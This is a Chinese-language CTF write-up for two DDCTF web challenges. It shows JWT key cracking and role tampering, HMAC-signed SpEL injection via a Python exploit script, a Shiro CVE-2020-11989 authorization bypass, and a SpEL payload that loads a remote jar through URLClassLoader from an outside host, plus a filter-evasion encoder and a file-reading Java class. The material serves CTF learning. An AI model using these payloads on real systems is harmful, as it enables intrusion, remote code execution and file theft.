前言 DDCTF是个挺好的比赛,题目质量很高,py程度很低。不知道今年为什么这么少队伍签到,难道跟别的比赛撞车了?
Web签到题 根据提示得知有来个api。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Interface documentation - login interface [-][Safet Reminder]The Private key cannot use request parameter Request Method | POST URL | http://117.51.136.197/admin/login Param | username str | pwd str Response token str | auth(Certification information) - auth interface Request Method | POST URL | http://117.51.136.197/admin/auth Param | username str | pwd str | token str Response url str | client download link +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client(Linux) | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+
访问第一个api,得到一串字符串,解码得知是jwt token
。
尝试一轮jwt的常规操作,最后用jwtcrack 爆破出了密钥,修改payload中的userRole
为ADMIN
提交到第二个api处。
得到了client的下载地址。
运行下client,发现并没有用户交互功能,命令都是硬编码在程序里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌─[p1ay2win@parrot]─[~/Desktop/Tools/c-jwt-cracker-master] └──? $/tmp/client 2020/09/07 00:50:15 ____ _ ____ _ ____ _____ _____ ____ ____ ____ ____ / _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \ | | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \| | |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/| \____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/ 2020/09/07 00:50:15 +---------------------------------------------------+ |Flag Path := /home/dc2-user/flag/flag.txt | |签名格式 := command|time_stamp | +---------------------------------------------------+ 2020/09/07 00:50:15 +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+ 2020/09/07 00:50:15 [*]Start ping master... 2020/09/07 00:50:15 [-]http://117.51.136.197/server/health connect succuess 2020/09/07 00:50:15 [*]Start send command to minions... 2020/09/07 00:50:15 [+]get sign:Q4OkAWjsnkfxKiqMv5wuFRXjgS/gGEFalDPS5IfuGww=, command:'DDCTF', time_stamp:1599411015 2020/09/07 00:50:15 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}
抓包分析确实都是http的流量,参数通过json格式传递,还有个signature参数验证命令有没有被篡改。
本来想着通过IDA来修改原命令,但是只能修改到长度为8的命令。最后队友通过恢复符号表得知签名是命令加时间戳的HMAC-sha256
,密钥为DDCTFWithYou
。
写了py测试下发现不会执行命令,但存在SSTI。
手动fuzz了下,发现拦截了getClass
、forName
等等、classLoader
没法打开url、exec
直接状态码500,可能直接把Runtime
的包给删了。
现在唯有文件读取能用,最后用到两个SSTI的payload,一个读目录,一个读文件:
1 2 (new java.io.File("/home/dc2-user/flag" )).list() T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt" ))
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import timeimport hmacimport base64import jsonimport sysimport requestsfrom hashlib import sha256appsecret = "DDCTFWithYou" .encode('utf-8' ) command = 'T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt"))' timestamp = int(time.time()) tmp = "{}|{}" .format(command,timestamp).encode('utf-8' ) signature = base64.b64encode(hmac.new(appsecret, tmp, digestmod=sha256).digest()) data = {} data['signature' ] = signature data['command' ] = command data['timestamp' ] = timestamp url = 'http://117.51.136.197/server/command' headers = {'Content-Type' : 'application/json' } r = requests.post(url=url,headers=headers,data = json.dumps(data)) print(r.text)
Easy Web 尝试登录下,看到Response Headers利用rememberMe=deleteMe
,得知后端有Apache Shiro。
Shiro反序列化一把梭,打了个寂寞,毕竟哪有这么容易。众所周知在ctf里:
Easy不是真的easy,hard是真的hard。
在队友提醒下得知是CVE-2020-11989,Shiro权限绕过。一个斜杆加分号进入到后台。
1 http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/index
一眼看到了任意文件读取,陆陆续续读到了web.xml、spring的配置文件和配置文件里能看到的class。
1 2 3 4 5 6 7 8 9 10 11 /WEB-INF/web.xml /WEB-INF/classes/com/ctf/util/SafeFilter.class /WEB-INF/classes/spring-core.xml /WEB-INF/classes/spring-web.xml /WEB-INF/classes/spring-shiro.xml /WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class /WEB-INF/classes/com/ctf/auth/ShiroRealm.class /WEB-INF/classes/com/ctf/model/User.class /WEB-INF/classes/com/ctf/model/Role.class /WEB-INF/classes/com/ctf/service/UserService.class /WEB-INF/classes/com/ctf/model/Permission.class
注意到两类,一个参数的值过滤了一些java的关键字,另一个记录了些链接。
打开最后一个链接,不知道怎么的就变成了admin用户,提供了一个输入框。
1 http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/
测试下存在SpEL注入,输入[[${7*7}]]
最后打开的结果是49。
参数过滤了很多关键字,但没过滤ClassLoader关键字,用UrlClassLoader试下发现可以连外网。
1 new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://dnslog.cn/xxx.jar")}).loadClass("xxx").getConstructor().newInstance().toString()
当然,由于过滤了引号,字符串要用下面的py脚本转换下。
1 2 3 4 5 6 payload = "PUT PAYLOAD STRING HERE" print ("true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0 ]), end='' )for i in range(1 , len(payload)): print (".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]), end='' ) print ("" )
把编译好的class打包成jar扔到vps上,本来想着直接执行命令,但是命令并没有执行成功,有时还会报error,我还以为是代码的问题,折腾了好久。
最后还是以文件读取的方式读flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import java.io.*;import java.util.*;public class Cmd { String res; public Cmd () { try { File dir = new File("/" ); String[] children = dir.list(); if (children == null ) { } else { for (int i=0 ; i< children.length; i++) { String filename = children[i]; res += filename+'\n' ; } } BufferedReader in = new BufferedReader(new FileReader("/flag_is_here" )); String str; while ((str = in.readLine()) != null ) { res += str+'\n' ; } } catch (IOException e) { } } @Override public String toString () { return res; } }
jar打包命令如下
1 2 javac .\Cmd .java jar cvf Cmd .jar .\Cmd .class
可惜最后做出来才知道比赛时间已经过了。。
参考